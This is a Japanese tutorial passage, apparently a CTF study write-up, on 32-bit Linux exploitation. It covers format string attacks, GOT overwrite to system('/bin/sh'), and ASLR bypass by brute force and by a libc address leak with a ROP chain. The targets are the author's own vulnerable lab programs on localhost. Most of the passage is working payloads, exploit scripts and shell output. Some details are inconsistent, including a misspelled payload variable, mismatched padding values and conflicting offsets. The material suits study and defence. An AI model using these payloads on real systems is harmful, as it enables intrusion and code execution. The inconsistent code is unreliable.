もちろん7番目アドレス(0x41414141)に値は存在しないのでエラーが発生している。 ただ参照するアドレスを意味のあるアドレスにすることにより%sで中身を確認することはできるので次はsecret変数のアドレスを指定し表示させたいと思う。 まずはsecret変数のアドレスを調べる。
$ readelf -s fsb | grep secret
58: 0804a028 4 OBJECT GLOBAL DEFAULT 24 secret
アドレス(0x0804a028)がわかったので次は入力にそのアドレスをリトルエンディアンで渡す。
$ echo -e '\x28\xa0\x04\x08%7$s' | ./fsb (xV4 ��� secret = 0x12345678
文字化けしているが何かは表示されている。 確認のためにhexdump -Cに出力をパイプで渡す。
$ echo -e '\x28\xa0\x04\x08%7$s' | ./fsb | hexdump -C 00000000 28 a0 04 08 78 56 34 12 20 ac fc f7 0a 73 65 63 |(...xV4. ....sec| 00000010 72 65 74 20 3d 20 30 78 31 32 33 34 35 36 37 38 |ret = 0x12345678| 00000020 0a |.| 00000021
最初に入力したsecret変数のアドレスが表示され続いて%sで指定した文字列が続いている。 このようにしてローカル変数と書式文字列攻撃を組み合わせることによって任意のアドレスから値を読み込むことができる。
任意のアドレスへの書き込み
printf関数は文字列の出力を行うものなので一見書き込みはできないように思えるが、フォーマット文字列の中には%n, %hn, %hhnというn系のものが存在し、これらは展開時にprintf関数が出力している文字数をメモリに書き込んでくれる。 実際に実践してみる。
$ echo -e '\x28\xa0\x04\x08%7$n' | ./fsb (� secret = 0x4
上記からわかる通り'\x28\xa0\x04\x08'を出力した後なので4バイトの'4'がsecret変数に格納されている。 ただ%nは対象のアドレスを4バイト(0 ~ 4,294,967,295)とみなすため書き込みたい値によっては数十億もの文字を出力する必要がある。これを解決するのが%hnや%hhnである。 詳細は以下。
| フォーマット指定子 | 書き込みバイト数 |
|---|---|
| %n | 4 |
| %hn | 2 |
| %hhn | 1 |
次に%nを複数回使用する場合において1回のprintf内で書き込まれるバイト数はリセットされない。では書き込みたい値が前回の値よりも小さい場合はどうなるか。 その場合は難しく考える必要はなく、printfは出力バイト数がオーバーフローしている場合は、オーバーフローした値は無視して書き込みを行う、つまり%hhnで0xffを書き込んだ後に0x20を書き込みたい場合は0x120となるように出力バイト数を調整すればよい。
GOT Overwrite
ここでは書式文字列攻撃を用いてGOT Overwriteを行いEIPを奪う。 実行ファイルがライブラリと動的リンクされていて、且つRELROがNo RELROもしくはPartial RELOROの場合にGOT Overwriteが有効となる。ライブラリの関数アドレスを保存しているGOT領域が書き込み可能になっているためその部分を書式文字列攻撃で書き換えると書き換えた値に該当する場所にEIPを移すことができる。
GOT Overwriteを行う対象としては関数をsystem関数に書き換えた時にうまく動くように、第1引数にユーザの入力文字列が指定されているものが望ましいと言える。strlenやputsといった関数がその要件を満たしやすいと思う。
先ほどのfsb.cではこの要件を満たせないため、新たにgotというプログラムを用意する。
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char str[128];
fgets(str, 128, stdin);
printf(str);
fgets(str, 128, stdin);
printf("%d\n", strlen(str));
return 0;
}
1度目のprintf関数でGOT Overwriteを行いstrlen関数をsystem関数に書き換え、2度目のfgets関数でsystem関数の引数を設定してstrlen(system)でシェルの起動を行う。
GOT領域のアドレスはIDAや逆アセンブラを使用して調べる方法とreadelfコマンドを使用して調べる方法とがある。
$ readelf -r got Relocation section '.rel.dyn' at offset 0x31c contains 2 entries: Offset Info Type Sym.Value Sym. Name 08049ffc 00000406 R_386_GLOB_DAT 00000000 __gmon_start__ 0804a02c 00000805 R_386_COPY 0804a02c stdin Relocation section '.rel.plt' at offset 0x32c contains 6 entries: Offset Info Type Sym.Value Sym. Name 0804a00c 00000107 R_386_JUMP_SLOT 00000000 printf 0804a010 00000207 R_386_JUMP_SLOT 00000000 fgets 0804a014 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail 0804a018 00000407 R_386_JUMP_SLOT 00000000 __gmon_start__ 0804a01c 00000507 R_386_JUMP_SLOT 00000000 strlen 0804a020 00000607 R_386_JUMP_SLOT 00000000 __libc_start_main
strlen関数のアドレスは0x0804a01cであることがわかる。
次にsystem関数のアドレスだ。
$ gdb -q got
Reading symbols from got...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x80484f0
gdb-peda$ r
Starting program: /home/ubuntu/got
[-----------------------------------------------------------registers-----------------------------------------------------------]
EAX: 0x1
EBX: 0xf7fca000 --> 0x1a9da8
ECX: 0xceeb2bb6
EDX: 0xffffd6e4 --> 0xf7fca000 --> 0x1a9da8
ESI: 0x0
EDI: 0x0
EBP: 0xffffd6b8 --> 0x0
ESP: 0xffffd6b8 --> 0x0
EIP: 0x80484f0 (<main+3>: and esp,0xfffffff0)
[-------------------------------------------------------------code--------------------------------------------------------------]
0x80484e8 <frame_dummy+40>: jmp 0x8048460 <register_tm_clones>
0x80484ed <main>: push ebp
0x80484ee <main+1>: mov ebp,esp
=> 0x80484f0 <main+3>: and esp,0xfffffff0
0x80484f3 <main+6>: sub esp,0xa0
0x80484f9 <main+12>: mov eax,DWORD PTR [ebp+0xc]
0x80484fc <main+15>: mov DWORD PTR [esp+0xc],eax
0x8048500 <main+19>: mov eax,gs:0x14
[-------------------------------------------------------------stack-------------------------------------------------------------]
00:0000| ebp esp 0xffffd6b8 --> 0x0
01:0004| 0xffffd6bc --> 0xf7e39ad3 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
02:0008| 0xffffd6c0 --> 0x1
03:0012| 0xffffd6c4 --> 0xffffd754 --> 0xffffd889 ("/home/ubuntu/go"...)
04:0016| 0xffffd6c8 --> 0xffffd75c --> 0xffffd89a ("XDG_SESSION_ID="...)
05:0020| 0xffffd6cc --> 0xf7feae6a (add ebx,0x12196)
06:0024| 0xffffd6d0 --> 0x1
07:0028| 0xffffd6d4 --> 0xffffd754 --> 0xffffd889 ("/home/ubuntu/go"...)
[-------------------------------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Breakpoint 1, 0x080484f0 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e5fe70 <system>
上記からsystem関数のアドレスは0xf7e5fe70だということがわかった。
ここで入力が何文字目に来るのか確認する。
$ echo 'AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p' | ./got AAAA0x80,0xf7fcac20,0xffffd794,(nil),(nil),(nil),0x41414141,0x252c7025,0x70252c70,0x2c70252c,0x252c7025 37
7番目にきているのがわかる。
ここで攻撃の文字列を組み立てていく。 strlenのアドレスが入っている0x0804a01c ~ 0x0804a01f(4バイト)にsystem関数のアドレス(0xf7e5fe70)を1バイトずつ書き込んでいく。
| 書式文字列 | 出力バイト数 | 積算出力バイト数 |
|---|---|---|
| 書き込みアドレス1 (0x0804a01c) | 4 | 4 |
| 書き込みアドレス2 (0x0804a01d) | 4 | 8 |
| 書き込みアドレス3 (0x0804a01e) | 4 | 12 |
| 書き込みアドレス4 (0x0804a01f) | 4 | 16 |
| %96x | 96 | 112 |
| %7$hhn (書き込み) | ||
| %142x | 142 | 254 |
| %8$hhn (書き込み) | ||
| %231x | 231 | 485 |
| %9$hhn (書き込み) | ||
| %18x | 18 | 503 |
| %10$hhn (書き込み) |
上記から以下の入力文字列を作成する。
\x1c\xa0\x04\x08\x1d\xa0\x04\x08\x1e\xa0\x04\x08\x1f\xa0\x04\x08%96x%7$hhn%142x%8$hhn%231x%9$hhn%16x%10$hhn
今回は2番目の標準入力にあたるfgets関数にsystem関数の入力として/bin/shを与えたいので改行コード(\n)でつなぎ/bin/shを与える。 先ほど同様catで標準入力をパイプする。 では実行する。
$ (echo -e '\x1c\xa0\x04\x08\x1d\xa0\x04\x08\x1e\xa0\x04\x08\x1f\xa0\x04\x08%96c%7$hhn%142c%8$hhn%231c%9$hhn%18c%10$hhn\n/bin/sh';cat) | ./got
� �
ls -l
total 100
drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 15 18:04 bin
-rwxrwxr-x 1 ubuntu ubuntu 7332 Feb 13 16:03 bof
-rwxrwxr-x 1 ubuntu ubuntu 7371 Feb 13 16:41 bof1
-rw-rw-r-- 1 ubuntu ubuntu 257 Feb 13 16:41 bof1.c
-rwxrwxr-x 1 ubuntu ubuntu 7407 Feb 13 17:28 bof2
-rw-rw-r-- 1 ubuntu ubuntu 224 Feb 13 17:28 bof2.c
-rwxrwxr-x 1 ubuntu ubuntu 7432 Feb 13 17:59 bof3
-rw-rw-r-- 1 ubuntu ubuntu 225 Feb 13 17:59 bof3.c
-rw-rw-r-- 1 ubuntu ubuntu 124 Feb 13 16:03 bof.c
-rwxrwxr-x 1 ubuntu ubuntu 7373 Feb 13 16:25 format
-rw-rw-r-- 1 ubuntu ubuntu 158 Feb 13 16:24 format.c
-rwxrwxr-x 1 ubuntu ubuntu 7445 Feb 15 22:44 fsb
-rw-rw-r-- 1 ubuntu ubuntu 196 Feb 15 22:42 fsb.c
-rwxrwxr-x 1 ubuntu ubuntu 7456 Feb 16 11:01 got
-rw-rw-r-- 1 ubuntu ubuntu 217 Feb 16 11:01 got.c
drwxrwxr-x 4 ubuntu ubuntu 4096 Feb 14 14:55 peda
-rw-rw-r-- 1 ubuntu ubuntu 11 Feb 15 18:18 peda-session-bof3.txt
-rw-rw-r-- 1 ubuntu ubuntu 11 Feb 16 11:58 peda-session-got.txt
シェルが起動しているのがわかる。
pwn!pwn!pwn!
CTFによくある環境設定でエクスプロイトを走らせる。
エクスプロイトコード
リモートエクスプロイト用のテンプレートが以下。
import socket
import time
import os
import struct
import telnetlib
def connect(ip, port):
return socket.create_connection((ip, port))
def p(x):
return struct.pack('<I', x) # 32bit
# return struct.pack('<Q', x) # 64bit
def u(x):
return struct.unpack('<I', x)[0] # 32bit
# return struct.unpack('<Q', x)[0] # 64bit
def interact(s):
print('----- interactive mode -----')
t = telnetlib.Telnet()
t.sock = s
t.interact()
s = connect('127.0.0.1', 4000)
# write code here
interact(s)
コードとしては簡単でconnectでソケットに繋いでエクスプロイトコードを送り込みシェルが起動したらinteractで直接操作できるようにしている。 pとuは32ビット(4バイト)の数字データを文字列に相互変換する機能を提供する。 これを使用することで\x78\x56\x34\x12と書いていたものがp(0x12345678)と書くことができるようになる。
ASLRの回避
最近のCTFでは特に問題に有口無効が記述されていなくとも多くの場合ASLRが有効な状態で出題される。ASLRをどうにかして回避しないことにはCTFで得点することは難しい状況にある。しかしほとんどの問題で共通のテクニックを用いて回避することができるので慣れてしまえば難しいことはない。
ブルートフォース
ASLRの回避でもっとも単純なのがブルートフォースである。 たとえアドレスがランダム化されていようと同じアドレスで攻撃し続ければいつかはアドレスが当たって攻撃が成功するはずである。 特に32bit環境ではアドレス幅も32bitに制限されるためランダム化できる部分が限られてくる。そのため現実的な時間でブルートフォース攻撃を成功させることができる。Linuxの場合、各領域のアドレスでランダム化されるビット数は次の表の通りになる。
| 領域 | 32 bit | 64 bit |
|---|---|---|
| stack | 11 bit | 20 bit |
| mmap | 8 bit | 28 bit |
| heap | 13 bit | 13 bit |
プログラム内で用いる共有ライブラリはmmapを用いてメモリ上に配置されるため32bit環境では8bitすなわち256通りのランダム化しか提供しないことになる。 実際に256通りなのか検証してみる。 ASLR回避の解説は最小限の入出力だけが行われるbof4.cを使用して進めていく。
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
char msg[] = "Hello\n";
char buf[32];
write(1, msg, strlen(msg));
read(0, buf, 128);
return 0;
}
共有ライブラリが配置されるメモリアドレスがランダム化されるようにASLRを有効にする。
$ sudo sysctl -w kernel.randomize_va_space=2
では実際に再配置されているかを確認する。
$ ldd bof4
linux-gate.so.1 => (0xf770c000)
libc.so.6 => /lib32/libc.so.6 (0xf7551000)
/lib/ld-linux.so.2 (0x56576000)
ubuntu@cim16312:~$ ldd bof4
linux-gate.so.1 => (0xf774a000)
libc.so.6 => /lib32/libc.so.6 (0xf758f000)
/lib/ld-linux.so.2 (0x565ff000)
ubuntu@cim16312:~$ ldd bof4
linux-gate.so.1 => (0xf77f9000)
libc.so.6 => /lib32/libc.so.6 (0xf763e000)
/lib/ld-linux.so.2 (0x56617000)
ubuntu@cim16312:~$ ldd bof4
linux-gate.so.1 => (0xf7797000)
libc.so.6 => /lib32/libc.so.6 (0xf75dc000)
/lib/ld-linux.so.2 (0x5661b000)
上記の結果をみるとlibc.so.6のアドレスはだいたい0xf7500000 ~ f7600000の範囲に配置されている。下位12bitはメモリのページ境界で常に0となっている。確かにランダム化されているのは8bitのよう。
次にブルートフォース攻撃でシェルを起動することができるかを実験します。libc.so.6が配置されているアドレスは先ほど実行したlddコマンド結果の1番目(0xf7551000)を使用し、そこからsystem関数の位置を計算する。 nmコマンドでsystem関数の位置を確認する。
ubuntu@cim16312:~$ nm -D /lib32/libc.so.6 | grep system 0003fe70 T __libc_system 00118e50 T svcerr_systemerr 0003fe70 W system
上記からシステム関数はlibc.so.6内の0x40190に配置されていることがわかる。したがってブルートフォースの対象アドレスはlibcの配置アドレスにsystem関数の相対位置アドレスを足した0xf7590e70 (0xf7551000 + 0x0003fe70)となる。
次に/bin/shという文字列を用意する必要があるが、プログラムないで入力した文字列が保存されるのはスタック領域のみとなっている。これではlibのアドレスとスタックのアドレスの両方を同時にブルートフォースする必要が生じてしまい攻撃の効率が大幅に下がってしまう。だが実は/bin/shはlibc内に固定のアドレスで存在するためlibcのアドレスさえわかれば相対位置から計算しアドレスを割り出すことができる。 それでは/bin/shがどこにあるのかを調べる。
$ strings -tx /lib32/libc.so.6 | grep /bin/sh 15ffcc /bin/sh
上記から/bin/shの相対位置が0x15ffccだとわかったのでlibcの予想アドレスである0xf7551000を足して0xf76b0fccとする。
最後にバッファオーバーフロー後のリターンアドレスの位置を計算する。 先ほどと同様gdb-padeのpattern-createを使用する。
$ gdb -q bof4
Reading symbols from bof4...(no debugging symbols found)...done.
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /home/ubuntu/bof4
Hello
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Program received signal SIGSEGV, Segmentation fault.
[-----------------------------------------------------------registers-----------------------------------------------------------]
EAX: 0x0
EBX: 0xf7fca000 --> 0x1a9da8
ECX: 0xffffd689 ("AAA%AAsAABAA$AA"...)
EDX: 0x80
ESI: 0x0
EDI: 0x0
EBP: 0x41416241 (b'AbAA')
ESP: 0xffffd6c0 ("AAcAA2AAHAAdAA3"...)
EIP: 0x47414131 (b'1AAG')
[-------------------------------------------------------------code--------------------------------------------------------------]
Invalid $PC address: 0x47414131
[-------------------------------------------------------------stack-------------------------------------------------------------]
00:0000| esp 0xffffd6c0 ("AAcAA2AAHAAdAA3"...)
01:0004| 0xffffd6c4 ("A2AAHAAdAA3AAIA"...)
02:0008| 0xffffd6c8 ("HAAdAA3AAIAAeAA"...)
03:0012| 0xffffd6cc ("AA3AAIAAeAA4AAJ"...)
04:0016| 0xffffd6d0 ("AIAAeAA4AAJAAfA"...)
05:0020| 0xffffd6d4 ("eAA4AAJAAfAA5AA"...)
06:0024| 0xffffd6d8 ("AAJAAfAA5AAKAAg"...)
07:0028| 0xffffd6dc ("AfAA5AAKAAgAA6A"...)
[-------------------------------------------------------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
Stopped reason: SIGSEGV
0x47414131 in ?? ()
gdb-peda$ patto 1AAG
1AAG found at offset: 51
上記から51文字目であることがわかった。
この時点で必要な情報は全て揃った。 しかしアドレスがヒットするまで手動で実行し続けるのは骨が折れるため自動で攻撃を行うプログラムを書く。 先ほどのテンプレートに少し手を加えたものだ。
$ cat bruteforce.py
# coding: utf-8
import socket
import time
import os
import struct
import telnetlib
def connect(ip, port):
return socket.create_connection((ip, port))
def p(x):
return struct.pack('<I', x)
def u(x):
return struct.unpack('<I', x)[0]
def interact(s):
print('----- interactive mode -----')
t = telnetlib.Telnet()
t.sock = s
t.interact()
payload = 'A' * 51 # ここでリターンアドレスまでを'A'で埋める
payload += p(0xf7590e70) # system関数のアドレス
payload += b'BBBB' # ダミーのリターンアドレス
payload += p(0xf76b0fcc) # '/bin/sh'の文字列
# 攻撃が刺さるまで実行し続ける
while True:
s = connect('127.0.0.1', 4000) # 自ホストに4000番ポートで接続
print(s.recv(1024).decode('utf-8'))
s.send(payload + b'\n')
time.sleep(0.1)
s.send(b'id\n\exit\n')
time.sleep(0.1)
result = s.recv(1024).decode('utf-8')
if len(result) > 0:
print(result)
break
24行目から28行目でペイロードを作成する。 mainからリターンする際にEIPに渡るリターンアドレスが格納されるスタックアドレスまでを'A'で埋め、そのあとにsystem関数のアドレス、次にダミーのリターンアドレスをセットし、その次にsystem関数の引数になる'/bin/sh'という文字列が配置されているアドレスをつなぐ。 これでペイロードは完成だ。
次にローカルホストの4000番にbof4を割り当てるためsocatコマンドを使用する。使用方法は以下のリンクに詳細が書かれている。 では以下のコマンドで起動する。
$ socat TCP-LISTEN:4000,reuseaddr,fork EXEC:./bof4 2> /dev/null &
上記を簡単に説明するとTCPの4000番でサーバを起動し、コネクションが切れても再度接続するように設定、接続が確立した際はforkし複数のコネクションを捌けるようにしている。
では先ほど作成したスクリプトを実行してみる。
$ python bruteforce.py Hello Hello Hello Hello (省略) uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) $
上記から攻撃がささっているのが確認できた。
アドレスのリーク
ASLRをブルートフォース攻撃で破る方法は32bitアーキテクチャしか使用できす且つ一度で攻撃が刺さることはほぼないため美しくない。なのでEIPを奪った状態で実行ファイルにランダム化された領域のアドレスを出力させれば計算によって目的のアドレスを算出することができる。またASLRによってランダム化されるアドレスはヒープ、スタック、mmap(共有ライブラリ)領域なので、実行ファイルが配置されるアドレスはランダム化されていない。よってここでは固定されている範囲内でEIPをうまく制御して求めたい領域のアドレスを出力させることが目標になる。
固定アドレス上にある共有ライブラリのアドレスが配置される場所を考えると、GOT領域に存在するlibc内の関数アドレスを出力する方法が有効である。ただGOT領域はアドレスをキャッシュしているだけなので、アドレスをキャッシュ済みの関数を使用しなければアドレスを入手できないことに注意する必要がある。libcの配置されているアドレスを算出することができればlibc内の他の関数のアドレスを計算で求めることができる。 エクスプロイトコードを書き始める前にバイナリ内の各種アドレスを控える。
$ objdump -d -M intel -j .plt --no bof4
bof4: file format elf32-i386
Disassembly of section .plt:
08048320 <read@plt-0x10>:
8048320: push DWORD PTR ds:0x804a004
8048326: jmp DWORD PTR ds:0x804a008
804832c: add BYTE PTR [eax],al
...
08048330 <read@plt>:
8048330: jmp DWORD PTR ds:0x804a00c
8048336: push 0x0
804833b: jmp 8048320 <_init+0x2c>
08048340 <__gmon_start__@plt>:
8048340: jmp DWORD PTR ds:0x804a010
8048346: push 0x8
804834b: jmp 8048320 <_init+0x2c>
08048350 <strlen@plt>:
8048350: jmp DWORD PTR ds:0x804a014
8048356: push 0x10
804835b: jmp 8048320 <_init+0x2c>
08048360 <__libc_start_main@plt>:
8048360: jmp DWORD PTR ds:0x804a018
8048366: push 0x18
804836b: jmp 8048320 <_init+0x2c>
08048370 <write@plt>:
8048370: jmp DWORD PTR ds:0x804a01c
8048376: push 0x20
804837b: jmp 8048320 <_init+0x2c>
上記からwriteのPLTアドレスは0x08048370でGOTアドレスは0x804a01cになる。
以下のコードでGOTのアドレスを確認してみる。
import socket
import time
import os
import struct
import telnetlib
def connect(ip, port):
return socket.create_connection((ip, port))
def p(x):
return struct.pack('<I', x)
def u(x):
return struct.unpack('<I', x)[0]
def interact(s):
print('----- interactive mode -----')
t = telnetlib.Telnet()
t.sock = s
t.interact()
write_plt = 0x08048370
write_got = 0x0804a01c
s = connect('127.0.0.1', 4000)
payload = b''.join([
b'A' * 51, # padding
p(write_plt), # writeの関数アドレス
b'BBBB',
p(1),
p(write_got),
p(4)
])
print(s.recv(1024).decode('utf-8'))
s.send(payload + b'\n')
print(hex(u(s.recv(4))))
上記のコード内ではpayloadは以下のような構成で組まれている。
| 文字列 | 意図 |
|---|---|
| b'A' * 51 | padding |
| p(write_plt) | writeの関数アドレス |
| b'BBBB' | ダミーのリターンアドレス |
| p(1) | write関数の第1引数 |
| p(write_got) | write関数の第2引数 |
| p(4) | write関数の第3引数 |
ここでなぜ0x804a01cの値を表示させることでwrite関数のアドレスがわかるかを説明したい。 先ほどobjdumpで調べたアセンブリ(以下)の中に'DWORD PTR'という記述がある、これは指定したアドレスの値をアドレスとしてjmpするという命令で、すなわち0x804a01cの値が実際にwrite関数の処理が配置されているアドレスになるので上記のエクスプロイトで表示させたというわけだ。
08048370 <write@plt>: 8048370: jmp DWORD PTR ds:0x804a01c 8048376: push 0x20 804837b: jmp 8048320 <_init+0x2c>
実際にbof4をsocatで起動し、先ほどのleak.pyを実行してみる。
$ socat TCP-LISTEN:4000,reuseaddr,fork EXEC:./bof4 2> /dev/null & [1] 18147 ubuntu@cim16312:~$ python leak.py Hello 0xf76afda0
見事にアドレスらしきものが表示された。 ただ複数回実行するとわかるがASLRが有効なので毎回表示される値が変化する。
$ python leak.py Hello 0xf76a1da0 ubuntu@cim16312:~$ python leak.py Hello 0xf769fda0 ubuntu@cim16312:~$ python leak.py Hello 0xf76d6da0 ubuntu@cim16312:~$ python leak.py Hello 0xf7682da0 ubuntu@cim16312:~$ python leak.py Hello 0xf767cda0
writeのアドレスが判明してもASLRでプログラムが起動するたびにアドレスはランダムに変化するため次に攻撃した時にはリークしたアドレスが使用できない。よって一度の実行でアドレスのリークからシェルの実行までを行う必要がある。
リークしたアドレスを使用してさらに関数を呼び出すために計算後のアドレスをメモリ上に配置することを考える。 bof4はPartial RELROとなっているためGOT Overwriteで計算後のアドレスを書き込み、ROPを用いてGOT領域に対するPLTの関数を呼び出すことで計算後のアドレスに存在する関数を呼び出します。
ここで一度今回のエクスプロイトコードを作成する上での方針を確認する。
- 目的はsystem関数を使用してsystem('/bin/sh')を呼び出すこと
- GOT領域に存在する関数のアドレスをwriteでリークする。
- GOT領域に書き込む操作は、サーバへデータを送ることになるためreadを使用する。
- libc内の別の関数アドレスを計算するためnmコマンドを用いて計算用のアドレスを取得する。
- /bin/shの文字列をメモリ上に置く必要があるため、system関数のアドレス書き込み時に一緒に書き込む。(今回の攻撃方法ではlibc内の/bin/shを利用するのは難しい)
上記を元に必要なアドレスを収集する。
$ rp -f bof4 -r 3 --unique | grep pop 0x08048310: add byte [eax], al ; add esp, 0x08 ; pop ebx ; ret ; (2 found) 0x0804856d: add ebx, 0x00001A93 ; add esp, 0x08 ; pop ebx ; ret ; (1 found) 0x08048312: add esp, 0x08 ; pop ebx ; ret ; (2 found) 0x08048548: fild word [ebx+0x5E5B1CC4] ; pop edi ; pop ebp ; ret ; (1 found) 0x08048313: les ecx, [eax] ; pop ebx ; ret ; (2 found) 0x0804854f: pop ebp ; ret ; (1 found) 0x08048315: pop ebx ; ret ; (2 found) 0x0804854e: pop edi ; pop ebp ; ret ; (1 found) 0x0804854d: pop esi ; pop edi ; pop ebp ; ret ; (1 found) ubuntu@cim16312:~$ nm -D /lib32/libc.so.6 | grep __libc_start_main 000199e0 T __libc_start_main ubuntu@cim16312:~$ nm -D /lib32/libc.so.6 | grep system 0003fe70 T __libc_system 00118e50 T svcerr_systemerr 0003fe70 W system
では実際の攻撃を行うエクスプロイトコードは以下。
import socket
import time
import os
import struct
import telnetlib
def connect(ip, port):
return socket.create_connection((ip, port))
def p(x):
return struct.pack('<I', x)
def u(x):
return struct.unpack('<I', x)[0]
def interact(s):
print('----- interactive mode -----')
t = telnetlib.Telnet()
t.sock = s
t.interact()
read_plt = 0x08048330
write_plt = 0x08048370
write_got = 0x0804a01c
__libc_start_main_plt = 0x08048360
__libc_start_main_got = 0x0804a018
pop3ret = 0x0804854d
__libc_start_main_rel = 0x000199e0
system_rel = 0x0003fe70
s = connect('127.0.0.1', 4000)
payload = b'A' * 51 # padding
# write(1, __libc_start_main_got, 4)
payload += p(write_plt)
payload += p(pop3ret)
payload += p(1)
payload += p(__libc_start_main_got)
payload += p(4)
# read(0, __libc_start_main_got, 20)
payload += p(read_plt)
payload += p(pop3ret)
payload += p(0)
payload += p(__libc_start_main_got)
payload += p(20)
# system('/bin/sh')
paylaod += p(__libc_start_main_plt)
paylaod += b'BBBB'
paylaod += p(__libc_start_main_got + 4)
print(s.recv(1024).decode('utf-8'))
s.send(payload)
time.sleep(0.1)
__libc_start_main_addr = u(s.recv(4))
libc_base = __libc_start_main_addr - __libc_start_main_rel
system_addr = libc_base + system_rel
print('libc_base: {}'.format(hex(libc_base)))
s.send(p(system_addr) + b'/bin/sh\0')
time.sleep(0.1)
interact(s)
ソースコードの中身を解説する。
まずは以下の部分。
# write(1, __libc_start_main_got, 4) payload += p(write_plt) payload += p(pop3ret) payload += p(1) payload += p(__libc_start_main_got) payload += p(4)
アプローチとしてはまずbof4.cの最後のread関数でret2plt用いてmain関数のリターンアドレスを書き換え、ret2pltを行いwrite関数をコールしてGOT領域内に存在するmain関数のアドレスを確認する。ret2pltでコールしたwrite関数のリターンアドレスには先ほどrpコマンドで出力した、popret gadget(pop pop pop ret)のアドレスを指定しwrite関数で使用した引数をpopした後にリターンする。
次に以下。
# read(0, __libc_start_main_got, 20) payload += p(read_plt) payload += p(pop3ret) payload += p(0) payload += p(__libc_start_main_got) payload += p(20)
上記では__libc_start_main_gotのアドレス値を書き換えようとしているが、これは先ほどret2pltでコールしたwrite関数の出力であるGOT領域内のmain関数のアドレスから元々取得しておいたmain関数の相対アドレス位置の差分を計算してgot領域のベースアドレス(GOT領域の一番最初のアドレス)を割り出し、そのベースアドレスにsystem関数の相対アドレスを足し実際のアドレスを算出した後、GOT領域内のmain関数のアドレス値を先ほど算出したsystem関数のアドレスに書き換えている。
次は以下。
# system('/bin/sh') paylaod += p(__libc_start_main_plt) paylaod += b'BBBB' paylaod += p(__libc_start_main_got + 4)
上記もまたret2pltでmain関数をコールしているのだが先ほどGOT領域のmain関数アドレス値の部分をsystem関数のアドレスに書き換えているのでsystem関数がコールされる。リターンアドレスはこれ以上関数を呼ぶ必要がないためダミーアドレスを指定している。引数に当たる部分が libc_start_main_got + 4 となっているのは、後に行うret2pltでコールしたread関数のに渡す文字列を見るとわかるのだが4バイトのアドレスの指定の後にsystem関数の引数となる '/bin/sh\0' を渡しているため。よって書き換えたGOT領域内のmain関数アドレス値(4バイト)の後ろに来るため libc_start_main_got + 4 と形になっている。
次に作成したペイロードを送信する部分。
print(s.recv(1024).decode('utf-8'))
s.send(payload)
time.sleep(0.1)
まず最初のprint関数でs.recvでbof4から受け取った'Hello'の文字列を出力する。次に先ほど作成したpayloadを送信し、ret2pltが起こるので以後任意の処理が始まる。sleep関数はbof4側の処理を考慮した待ち時間である。
次の箇所ではlibcの場所を特定している。
__libc_start_main_addr = u(s.recv(4)) libc_base = __libc_start_main_addr - __libc_start_main_rel system_addr = libc_base + system_rel
最初の1行でbof4に渡したペイロードによりre2pltが起こり、それによりコールされたwrite関数からGOT領域に格納されたmain関数のアドレスを受け取っている。そこからmain関数のlibc内での相対位置からlibcのベースアドレスを算出し当該ベースアドレスとsystem関数の相対アドレスを足し合わせてsystem関数のアドレスを算出している。
次に最後の一かたまり
print('libc_base: {}'.format(hex(libc_base)))
s.send(p(system_addr) + b'/bin/sh\0')
time.sleep(0.1)
先ほど算出したベースアドレスを標準出力で表示している。その後先ほど算出したsystem関数のアドレスをret2pltでコールしたread関数に渡す。この時にGOT領域にあるmain関数のアドレス値がsystem関数のアドレスに書き換えられる。引数として /bin/sh\0(終端文字列) を渡しておりsystem関数の引数として使用される。そしてbof4側ではアドレスの書き換えによりret2pltからsystem関数が呼ばれているので先ほど渡したsystem関数の引数である /bin/sh が実行されシェルが起動する。
以下の最後の一行でインタラクティブになりシェルを操作できるようになる。
interact(s)
実際に実行する。 見事に/bin/shを起動することができているのがわかる。
$ python avoid_aslr.py Hello libc_base: 0xf7583000 ----- interactive mode ----- ls -l total 124 -rw-rw-r-- 1 ubuntu ubuntu 510 Feb 17 02:01 aslr.py -rw-rw-r-- 1 ubuntu ubuntu 1369 Feb 17 22:46 avoid_aslr.py drwxrwxr-x 2 ubuntu ubuntu 4096 Feb 15 18:04 bin -rwxrwxr-x 1 ubuntu ubuntu 7332 Feb 13 16:03 bof -rwxrwxr-x 1 ubuntu ubuntu 7371 Feb 13 16:41 bof1 -rw-rw-r-- 1 ubuntu ubuntu 257 Feb 13 16:41 bof1.c -rwxrwxr-x 1 ubuntu ubuntu 7407 Feb 13 17:28 bof2 -rw-rw-r-- 1 ubuntu ubuntu 224 Feb 13 17:28 bof2.c -rwxrwxr-x 1 ubuntu ubuntu 7432 Feb 13 17:59 bof3 -rw-rw-r-- 1 ubuntu ubuntu 225 Feb 13 17:59 bof3.c -rwxrwxr-x 1 ubuntu ubuntu 7374 Feb 16 17:32 bof4 -rw-rw-r-- 1 ubuntu ubuntu 192 Feb 16 17:32 bof4.c -rw-rw-r-- 1 ubuntu ubuntu 124 Feb 13 16:03 bof.c -rw-rw-r-- 1 ubuntu ubuntu 1009 Feb 16 19:10 bruteforce.py -rwxrwxr-x 1 ubuntu ubuntu 7373 Feb 13 16:25 format -rw-rw-r-- 1 ubuntu ubuntu 158 Feb 13 16:24 format.c -rwxrwxr-x 1 ubuntu ubuntu 7445 Feb 15 22:44 fsb -rw-rw-r-- 1 ubuntu ubuntu 196 Feb 15 22:42 fsb.c -rwxrwxr-x 1 ubuntu ubuntu 7456 Feb 16 11:01 got -rw-rw-r-- 1 ubuntu ubuntu 